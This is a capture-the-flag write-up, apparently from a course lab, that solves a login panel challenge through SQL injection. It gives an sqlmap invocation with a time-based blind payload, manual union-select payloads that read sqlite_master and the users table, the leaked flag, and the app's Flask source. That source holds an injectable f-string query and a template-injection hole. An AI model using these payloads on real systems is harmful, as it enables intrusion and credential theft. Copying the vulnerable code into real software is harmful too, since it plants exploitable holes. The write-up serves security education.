---
# System prepended metadata

title: Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))
tags: [Web, eductf, CTF]

---

# Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))
###### tags: `CTF` `Web` `eductf`
Challenge: https://login.ctf.zoolab.org/

## Background

## Source Code

### Analysis

## Exploit - SQLi
### Easy way - `SQLmap`
```bash!
$ ./sqlmap.py "https://login.ctf.zoolab.org/" --form -dbs sqlite --dump --risk=3 --level=5
...
---
Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: username='||(SELECT CHAR(116,86,90,89) WHERE 7681=7681 AND 7766=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&password=
---
```
### Hard way - try&error
1. Check if it has `sqli` problem
Payload: `union'`
![](https://i.imgur.com/xIfsghR.png)

2. Try union based
Payload: `admin' union select 1 --` **→ WRONG**
Payload: `admin' union select 1,2 --` **→ WRONG**
Payload: `admin' union select 1,2,3 --` **→ WRONG**
Payload: `admin' union select 1,2,3,4 --`
![](https://i.imgur.com/3G8F2yP.png)
Obviously, it shows some info when select 4 values

3. Must know the metadata
According to the author, it used `sqlite` as its `DBMS`. As [kaibro cheat sheet](https://github.com/w181496/Web-CTF-Cheatsheet#sqlite)
    > 爆表名
    SELECT name FROM sqlite_master WHERE type='table'

    Then we can add this in our request
    Payload: `admin' union select 1,2,3,sql FROM sqlite_master WHERE type='table' --`
    ![](https://i.imgur.com/3OBjg43.png)

    Based on the info we leak, there's a table named `users` with <font color="FF0000">`id`, `username`, `password`,and `count`</font> 4 columns

4. Leak password
Payload: `admin' union select 1,2,3,password FROM users --`
![](https://i.imgur.com/p4d4Ep5.png)


## Result
Then we got source code!!!
:::spoiler code
```python=
from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)

with app.app_context():
  db.session.execute("""
    CREATE TABLE IF NOT EXISTS users(
      id Integer PRIMARY KEY,
      username String NOT NULL UNIQUE,
      password String,
      count Integer DEFAULT 0
    );
  """)
  db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
  db.session.commit()

def login(greet):
  if not greet:
    return send_file('app.py', mimetype='text/plain')
  else:
    return render_template_string(f"Hello {greet}")

@app.route('/', methods=["GET", "POST"])
def index():
  if request.method == "GET":
    return render_template('index.html')
  else:
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    error = ''
    user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()

    if user and user[1] == password:
      return login(request.form.get('greet', ''))
    elif not user:
      error += "User doesn't exist! "

    # New feature! count login failed event
    db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
    db.session.commit()
    count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
    error += f'Login faild count: {count[3]}'

    return render_template('index.html', error=error)


if __name__ == "__main__":
  app.run(host="0.0.0.0")
```
:::
